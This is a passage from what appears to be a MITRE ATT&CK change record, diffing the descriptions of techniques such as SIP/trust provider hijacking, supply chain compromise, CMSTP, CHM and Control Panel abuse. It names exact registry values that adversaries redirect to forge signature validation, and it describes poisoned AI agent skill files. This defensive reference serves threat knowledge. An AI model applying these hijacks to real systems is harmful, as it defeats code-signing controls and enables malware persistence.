maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\\n* Modifying the Dll and FuncName Registry values in HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllVerifyIndirectData\\\\{SIP_GUID} that point to the DLL providing a SIP\\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\\n* Modifying the DLL and Function Registry values in HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\\\FinalPolicy\\\\{trust provider GUID} that point to the DLL providing a trust provider\\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n\\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,12 @@\\n-Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\\n+Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode(Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,(Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.(Citation: SpectorOps Subverting Trust Sept 2017)\\n \\n-Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\\n+Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)(Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all)(Citation: Microsoft Catalog Files and Signatures April 2017) and are identified by globally unique identifiers (GUIDs).(Citation: SpectorOps Subverting Trust Sept 2017)\\n \\n-Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\\n+Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by:(Citation: SpectorOps Subverting Trust Sept 2017)\\n \\n-* Modifying the Dll and FuncName Registry values in HKLM\\\\SOFTWARE[\\\\WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllGetSignedDataMsg\\\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\\n-* Modifying the Dll and FuncName Registry values in HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllVerifyIndirectData\\\\{SIP_GUID} that point to the DLL providing a SIP\\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\\n+* Modifying the Dll and FuncName Registry values in HKLM\\\\SOFTWARE[\\\\WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllGetSignedDataMsg\\\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP(Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\\n+* Modifying the Dll and FuncName Registry values in HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllVerifyIndirectData\\\\{SIP_GUID} that point to the DLL providing a SIP\\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP(Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\\n * Modifying the DLL and Function Registry values in HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\\\FinalPolicy\\\\{trust provider GUID} that point to the DLL providing a trust provider\\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\\n * **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n \\n-Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\\n+Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.(Citation: SpectorOps Subverting Trust Sept 2017)\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may tamper with SIP and trust provider component | t | 1 | Adversaries may tamper with SIP and trust provider component |
| > | s to mislead the operating system and application control to | > | s to mislead the operating system and application control to | ||
| > | ols when conducting signature validation checks. In user mod | > | ols when conducting signature validation checks. In user mod | ||
| > | e, Windows Authenticode (Citation: Microsoft Authenticode) d | > | e, Windows Authenticode(Citation: Microsoft Authenticode) di | ||
| > | igital signatures are used to verify a file's origin and int | > | gital signatures are used to verify a file's origin and inte | ||
| > | egrity, variables that may be used to establish trust in sig | > | grity, variables that may be used to establish trust in sign | ||
| > | ned code (ex: a driver with a valid Microsoft signature may | > | ed code (ex: a driver with a valid Microsoft signature may b | ||
| > | be handled as safe). The signature validation process is han | > | e handled as safe). The signature validation process is hand | ||
| > | dled via the WinVerifyTrust application programming interfac | > | led via the WinVerifyTrust application programming interface | ||
| > | e (API) function, (Citation: Microsoft WinVerifyTrust) whic | > | (API) function,(Citation: Microsoft WinVerifyTrust) which a | ||
| > | h accepts an inquiry and coordinates with the appropriate tr | > | ccepts an inquiry and coordinates with the appropriate trust | ||
| > | ust provider, which is responsible for validating parameters | > | provider, which is responsible for validating parameters of | ||
| > | of a signature. (Citation: SpectorOps Subverting Trust Sept | > | a signature.(Citation: SpectorOps Subverting Trust Sept 201 | ||
| > | 2017) Because of the varying executable file types and cor | > | 7) Because of the varying executable file types and corresp | ||
| > | responding signature formats, Microsoft created software com | > | onding signature formats, Microsoft created software compone | ||
| > | ponents called Subject Interface Packages (SIPs) (Citation: | > | nts called Subject Interface Packages (SIPs)(Citation: Eduar | ||
| > | EduardosBlog SIPs July 2008) to provide a layer of abstracti | > | dosBlog SIPs July 2008) to provide a layer of abstraction be | ||
| > | on between API functions and files. SIPs are responsible for | > | tween API functions and files. SIPs are responsible for enab | ||
| > | enabling API functions to create, retrieve, calculate, and | > | ling API functions to create, retrieve, calculate, and verif | ||
| > | verify signatures. Unique SIPs exist for most file formats ( | > | y signatures. Unique SIPs exist for most file formats (Execu | ||
| > | Executable, PowerShell, Installer, etc., with catalog signin | > | table, PowerShell, Installer, etc., with catalog signing pro | ||
| > | g providing a catch-all (Citation: Microsoft Catalog Files | > | viding a catch-all)(Citation: Microsoft Catalog Files and Si | ||
| > | and Signatures April 2017)) and are identified by globally u | > | gnatures April 2017) and are identified by globally unique i | ||
| > | nique identifiers (GUIDs). (Citation: SpectorOps Subverting | > | dentifiers (GUIDs).(Citation: SpectorOps Subverting Trust Se | ||
| > | Trust Sept 2017) Similar to [Code Signing](https://attack.m | > | pt 2017) Similar to [Code Signing](https://attack.mitre.org | ||
| > | itre.org/techniques/T1553/002), adversaries may abuse this a | > | /techniques/T1553/002), adversaries may abuse this architect | ||
| > | rchitecture to subvert trust controls and bypass security po | > | ure to subvert trust controls and bypass security policies t | ||
| > | licies that allow only legitimately signed code to execute o | > | hat allow only legitimately signed code to execute on a syst | ||
| > | n a system. Adversaries may hijack SIP and trust provider co | > | em. Adversaries may hijack SIP and trust provider components | ||
| > | mponents to mislead operating system and application control | > | to mislead operating system and application control tools t | ||
| > | tools to classify malicious (or any) code as signed by: (Ci | > | o classify malicious (or any) code as signed by:(Citation: S | ||
| > | tation: SpectorOps Subverting Trust Sept 2017) * Modifying | > | pectorOps Subverting Trust Sept 2017) * Modifying the <code | ||
| > | the <code>Dll</code> and <code>FuncName</code> Registry valu | > | >Dll</code> and <code>FuncName</code> Registry values in <co | ||
| > | es in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptograp | > | de>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\En | ||
| > | hy\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} | > | codingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> t | ||
| > | </code> that point to the dynamic link library (DLL) providi | > | hat point to the dynamic link library (DLL) providing a SIP\u2019 | ||
| > | ng a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retri | > | s CryptSIPDllGetSignedDataMsg function, which retrieves an e | ||
| > | eves an encoded digital certificate from a signed file. By p | > | ncoded digital certificate from a signed file. By pointing t | ||
| > | ointing to a maliciously-crafted DLL with an exported functi | > | o a maliciously-crafted DLL with an exported function that a | ||
| > | on that always returns a known good signature value (ex: a M | > | lways returns a known good signature value (ex: a Microsoft | ||
| > | icrosoft signature for Portable Executables) rather than the | > | signature for Portable Executables) rather than the file\u2019s r | ||
| > | file\u2019s real signature, an adversary can apply an acceptable | > | eal signature, an adversary can apply an acceptable signatur | ||
| > | signature value to all files using that SIP (Citation: GitH | > | e value to all files using that SIP(Citation: GitHub SIP POC | ||
| > | ub SIP POC Sept 2017) (although a hash mismatch will likely | > | Sept 2017) (although a hash mismatch will likely occur, inv | ||
| > | occur, invalidating the signature, since the hash returned b | > | alidating the signature, since the hash returned by the func | ||
| > | y the function will not match the value computed from the fi | > | tion will not match the value computed from the file). * Mod | ||
| > | le). * Modifying the <code>Dll</code> and <code>FuncName</co | > | ifying the <code>Dll</code> and <code>FuncName</code> Regist | ||
| > | de> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Mic | > | ry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cry | ||
| > | rosoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndi | > | ptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{ | ||
| > | rectData\\{SIP_GUID}</code> that point to the DLL providing a | > | SIP_GUID}</code> that point to the DLL providing a SIP\u2019s Cry | ||
| > | SIP\u2019s CryptSIPDllVerifyIndirectData function, which validat | > | ptSIPDllVerifyIndirectData function, which validates a file\u2019 | ||
| > | es a file\u2019s computed hash against the signed hash value. By | > | s computed hash against the signed hash value. By pointing t | ||
| > | pointing to a maliciously-crafted DLL with an exported funct | > | o a maliciously-crafted DLL with an exported function that a | ||
| > | ion that always returns TRUE (indicating that the validation | > | lways returns TRUE (indicating that the validation was succe | ||
| > | was successful), an adversary can successfully validate any | > | ssful), an adversary can successfully validate any file (wit | ||
| > | file (with a legitimate signature) using that SIP (Citation | > | h a legitimate signature) using that SIP(Citation: GitHub SI | ||
| > | : GitHub SIP POC Sept 2017) (with or without hijacking the p | > | P POC Sept 2017) (with or without hijacking the previously m | ||
| > | reviously mentioned CryptSIPDllGetSignedDataMsg function). T | > | entioned CryptSIPDllGetSignedDataMsg function). This Registr | ||
| > | his Registry value could also be redirected to a suitable ex | > | y value could also be redirected to a suitable exported func | ||
| > | ported function from an already present DLL, avoiding the re | > | tion from an already present DLL, avoiding the requirement t | ||
| > | quirement to drop and execute a new file on disk. * Modifyin | > | o drop and execute a new file on disk. * Modifying the <code | ||
| > | g the <code>DLL</code> and <code>Function</code> Registry va | > | >DLL</code> and <code>Function</code> Registry values in <co | ||
| > | lues in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptogr | > | de>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Provid | ||
| > | aphy\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code | > | ers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that poin | ||
| > | > that point to the DLL providing a trust provider\u2019s FinalPo | > | t to the DLL providing a trust provider\u2019s FinalPolicy functi | ||
| > | licy function, which is where the decoded and parsed signatu | > | on, which is where the decoded and parsed signature is check | ||
| > | re is checked and the majority of trust decisions are made. | > | ed and the majority of trust decisions are made. Similar to | ||
| > | Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData fun | > | hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this | ||
| > | ction, this value can be redirected to a suitable exported f | > | value can be redirected to a suitable exported function fro | ||
| > | unction from an already present DLL or a maliciously-crafted | > | m an already present DLL or a maliciously-crafted DLL (thoug | ||
| > | DLL (though the implementation of a trust provider is compl | > | h the implementation of a trust provider is complex). * **No | ||
| > | ex). * **Note:** The above hijacks are also possible without | > | te:** The above hijacks are also possible without modifying | ||
| > | modifying the Registry via [DLL](https://attack.mitre.org/t | > | the Registry via [DLL](https://attack.mitre.org/techniques/T | ||
| > | echniques/T1574/001) search order hijacking. Hijacking SIP | > | 1574/001) search order hijacking. Hijacking SIP or trust pr | ||
| > | or trust provider components can also enable persistent code | > | ovider components can also enable persistent code execution, | ||
| > | execution, since these malicious components may be invoked | > | since these malicious components may be invoked by any appl | ||
| > | by any application that performs code signing or signature v | > | ication that performs code signing or signature validation.( | ||
| > | alidation. (Citation: SpectorOps Subverting Trust Sept 2017) | > | Citation: SpectorOps Subverting Trust Sept 2017) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate software dependencies and develop | t | 1 | Adversaries may manipulate software dependencies and develop |
| > | ment tools prior to receipt by a final consumer for the purp | > | ment tools prior to receipt by a final consumer for the purp | ||
| > | ose of data or system compromise. Applications often depend | > | ose of data or system compromise. Applications often depend | ||
| > | on external software to function properly. Popular open sour | > | on external software to function properly. Popular open sour | ||
| > | ce projects that are used as dependencies in many applicatio | > | ce projects that are used as dependencies in many applicatio | ||
| > | ns, such as pip and NPM packages, may be targeted as a means | > | ns, such as pip and NPM packages, may be targeted as a means | ||
| > | to add malicious code to users of the dependency.(Citation: | > | to add malicious code to users of the dependency.(Citation: | ||
| > | Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi | > | Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi | ||
| > | tories Compromised 2021)(Citation: MANDVI Malicious npm and | > | tories Compromised 2021)(Citation: MANDVI Malicious npm and | ||
| > | PyPI Packages Disguised) This may also include abandoned pac | > | PyPI Packages Disguised) This may also include abandoned pac | ||
| > | kages, which in some cases could be re-registered by threat | > | kages, which in some cases could be re-registered by threat | ||
| > | actors after being removed by adversaries.(Citation: The Hac | > | actors after being removed by the original owner.(Citation: | ||
| > | ker News PyPi Revival Hijack 2024) Adversaries may also empl | > | The Hacker News PyPi Revival Hijack 2024) Adversaries may al | ||
| > | oy \"typosquatting\" or name-confusion by choosing names simil | > | so employ \"typosquatting\" or name-confusion by choosing name | ||
| > | ar to existing popular libraries or packages in order to dec | > | s similar to existing popular libraries or packages in order | ||
| > | eive a user.(Citation: Ahmed Backdoors in Python and NPM Pac | > | to deceive a user.(Citation: Ahmed Backdoors in Python and | ||
| > | kages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(C | > | NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncov | ||
| > | itation: Checkmarx-oss-seo) Additionally, CI/CD pipeline co | > | ered)(Citation: Checkmarx-oss-seo) Additionally, CI/CD pipe | ||
| > | mponents, such as GitHub Actions, may be targeted in order t | > | line components, such as GitHub Actions, may be targeted in | ||
| > | o gain access to the building, testing, and deployment cycle | > | order to gain access to the building, testing, and deploymen | ||
| > | s of an application.(Citation: Unit 42 Palo Alto GitHub Acti | > | t cycles of an application.(Citation: Unit 42 Palo Alto GitH | ||
| > | ons Supply Chain Attack 2025) By adding malicious code into | > | ub Actions Supply Chain Attack 2025) By adding malicious cod | ||
| > | a GitHub action, a threat actor may be able to collect runti | > | e into a GitHub action, a threat actor may be able to collec | ||
| > | me credentials (e.g., via [Proc Filesystem](https://attack.m | > | t runtime credentials (e.g., via [Proc Filesystem](https://a | ||
| > | itre.org/techniques/T1003/007)) or insert further malicious | > | ttack.mitre.org/techniques/T1003/007)) or insert further mal | ||
| > | components into the build pipelines for a second-order suppl | > | icious components into the build pipelines for a second-orde | ||
| > | y chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Ac | > | r supply chain compromise.(Citation: OWASP CICD-SEC-4) As Gi | ||
| > | tions are often dependent on other GitHub Actions, threat ac | > | tHub Actions are often dependent on other GitHub Actions, th | ||
| > | tors may be able to infect a large number of repositories vi | > | reat actors may be able to infect a large number of reposito | ||
| > | a the compromise of a single Action.(Citation: Palo Alto Net | > | ries via the compromise of a single Action.(Citation: Palo A | ||
| > | works GitHub Actions Worm 2023) Adversaries may also target | > | lto Networks GitHub Actions Worm 2023) Adversaries may also | ||
| > | the configuration and instruction files consumed by integra | > | target the configuration and instruction files consumed by | ||
| > | ted development environments and AI coding agents. Project f | > | integrated development environments and AI coding agents. Pr | ||
| > | iles such as tasks.json may execute commands when a develope | > | oject files such as tasks.json may execute commands when a d | ||
| > | r opens or builds a project, while agent skill files (SKILL. | > | eveloper opens or builds a project, while agent skill files | ||
| > | md) supply an agent with instructions and resources that it | > | (SKILL.md) supply an agent with instructions and resources t | ||
| > | loads on demand and runs with the permissions of the agent p | > | hat it loads on demand and runs with the permissions of the | ||
| > | rocess.(Citation: Microsoft - Agent Skills Docs)(Citation: G | > | agent process.(Citation: Microsoft - Agent Skills Docs)(Cita | ||
| > | oogle Agent Files May 2026)(Citation: CrowdStrike Threat Hun | > | tion: Google Agent Files May 2026)(Citation: CrowdStrike Thr | ||
| > | ting Report 2026)(Citation: Microsoft Contagious Interview M | > | eat Hunting Report 2026)(Citation: Microsoft Contagious Inte | ||
| > | arch 2026) To encourage downloads, adversaries may publish t | > | rview March 2026) To encourage downloads, adversaries may pu | ||
| > | hese files under benign-appearing or typo-squatted names, up | > | blish these files under benign-appearing or typo-squatted na | ||
| > | load unmodified copies of the genuine skills first so the li | > | mes, upload unmodified copies of the genuine skills first so | ||
| > | stings accumulate installs before the content behind them is | > | the listings accumulate installs before the content behind | ||
| > | weaponized, or may place the malicious instructions in a se | > | them is weaponized, or may place the malicious instructions | ||
| > | condary document that the reviewed entry point references.(C | > | in a secondary document that the reviewed entry point refere | ||
| > | itation: Zenity Skill Supply Chain August 2026)(Citation: ES | > | nces.(Citation: Zenity Skill Supply Chain August 2026)(Citat | ||
| > | ET Agent Skills March 2026) Because these artifacts are natu | > | ion: ESET Agent Skills March 2026) Because these artifacts a | ||
| > | ral language or configuration rather than executable code, t | > | re natural language or configuration rather than executable | ||
| > | hey may pass registry screening and signature-based scanning | > | code, they may pass registry screening and signature-based s | ||
| > | .(Citation: ESET Agent Skills March 2026)(Citation: TrendMic | > | canning.(Citation: ESET Agent Skills March 2026)(Citation: T | ||
| > | ro - OpenClaw Skills Distribute ATMOS) Targeting may be sp | > | rendMicro - OpenClaw Skills Distribute ATMOS) Targeting ma | ||
| > | ecific to a desired victim set or may be distributed to a br | > | y be specific to a desired victim set or may be distributed | ||
| > | oad set of consumers but only move on to additional tactics | > | to a broad set of consumers but only move on to additional t | ||
| > | on specific victims. | > | actics on specific victims. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse CMSTP to proxy execution of malicious | t | 1 | Adversaries may abuse CMSTP to proxy execution of malicious |
| > | code. The Microsoft Connection Manager Profile Installer (CM | > | code. The Microsoft Connection Manager Profile Installer (CM | ||
| > | STP.exe) is a command-line program used to install Connectio | > | STP.exe) is a command-line program used to install Connectio | ||
| > | n Manager service profiles. (Citation: Microsoft Connection | > | n Manager service profiles.(Citation: Microsoft Connection M | ||
| > | Manager Oct 2009) CMSTP.exe accepts an installation informat | > | anager Oct 2009) CMSTP.exe accepts an installation informati | ||
| > | ion file (INF) as a parameter and installs a service profile | > | on file (INF) as a parameter and installs a service profile | ||
| > | leveraged for remote access connections. Adversaries may s | > | leveraged for remote access connections. Adversaries may su | ||
| > | upply CMSTP.exe with INF files infected with malicious comma | > | pply CMSTP.exe with INF files infected with malicious comman | ||
| > | nds. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Re | > | ds.(Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regs | ||
| > | gsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSq | > | vr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSqui | ||
| > | uiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs | > | blydoo\u201d, CMSTP.exe may be abused to load and execute DLLs(Ci | ||
| > | (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets ( | > | tation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT | ||
| > | SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) | > | ) from remote servers.(Citation: Twitter CMSTP Jan 2018)(Cit | ||
| > | (Citation: GitHub Ultimate AppLocker Bypass List) (Citation | > | ation: GitHub Ultimate AppLocker Bypass List)(Citation: Endu | ||
| > | : Endurant CMSTP July 2018) This execution may also bypass A | > | rant CMSTP July 2018) This execution may also bypass AppLock | ||
| > | ppLocker and other application control defenses since CMSTP. | > | er and other application control defenses since CMSTP.exe is | ||
| > | exe is a legitimate binary that may be signed by Microsoft. | > | a legitimate binary that may be signed by Microsoft. CMSTP | ||
| > | CMSTP.exe can also be abused to [Bypass User Account Contro | > | .exe can also be abused to [Bypass User Account Control](htt | ||
| > | l](https://attack.mitre.org/techniques/T1548/002) and execut | > | ps://attack.mitre.org/techniques/T1548/002) and execute arbi | ||
| > | e arbitrary commands from a malicious INF through an auto-el | > | trary commands from a malicious INF through an auto-elevated | ||
| > | evated COM interface. (Citation: MSitPros CMSTP Aug 2017) (C | > | COM interface.(Citation: MSitPros CMSTP Aug 2017)(Citation: | ||
| > | itation: GitHub Ultimate AppLocker Bypass List) (Citation: E | > | GitHub Ultimate AppLocker Bypass List)(Citation: Endurant C | ||
| > | ndurant CMSTP July 2018) | > | MSTP July 2018) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Compiled HTML files (.chm) to conceal | t | 1 | Adversaries may abuse Compiled HTML files (.chm) to conceal |
| > | malicious code. CHM files are commonly distributed as part o | > | malicious code. CHM files are commonly distributed as part o | ||
| > | f the Microsoft HTML Help system. CHM files are compressed c | > | f the Microsoft HTML Help system. CHM files are compressed c | ||
| > | ompilations of various content such as HTML documents, image | > | ompilations of various content such as HTML documents, image | ||
| > | s, and scripting/web related programming languages such VBA, | > | s, and scripting/web related programming languages such as V | ||
| > | JScript, Java, and ActiveX. (Citation: Microsoft HTML Help | > | BA, JScript, Java, and ActiveX.(Citation: Microsoft HTML Hel | ||
| > | May 2018) CHM content is displayed using underlying componen | > | p May 2018) CHM content is displayed using underlying compon | ||
| > | ts of the Internet Explorer browser (Citation: Microsoft HTM | > | ents of the Internet Explorer browser(Citation: Microsoft HT | ||
| > | L Help ActiveX) loaded by the HTML Help executable program ( | > | ML Help ActiveX) loaded by the HTML Help executable program | ||
| > | hh.exe). (Citation: Microsoft HTML Help Executable Program) | > | (hh.exe).(Citation: Microsoft HTML Help Executable Program) | ||
| > | A custom CHM file containing embedded payloads could be del | > | A custom CHM file containing embedded payloads could be del | ||
| > | ivered to a victim then triggered by [User Execution](https: | > | ivered to a victim then triggered by [User Execution](https: | ||
| > | //attack.mitre.org/techniques/T1204). CHM execution may also | > | //attack.mitre.org/techniques/T1204). CHM execution may also | ||
| > | bypass application application control on older and/or unpa | > | bypass application control on older and/or unpatched system | ||
| > | tched systems that do not account for execution of binaries | > | s that do not account for execution of binaries through hh.e | ||
| > | through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: | > | xe.(Citation: MsitPros CHM Aug 2017)(Citation: Microsoft CVE | ||
| > | Microsoft CVE-2017-8625 Aug 2017) | > | -2017-8625 Aug 2017) |
CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/002",
"external_id": "T1218.002"
},
{
"source_name": "TrendMicro CPL Malware Dec 2013",
"description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"
},
{
"source_name": "Palo Alto Reaver Nov 2017",
"description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
"url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
},
{
"source_name": "ESET InvisiMole June 2020",
"description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
},
{
"source_name": "Microsoft Implementing CPL",
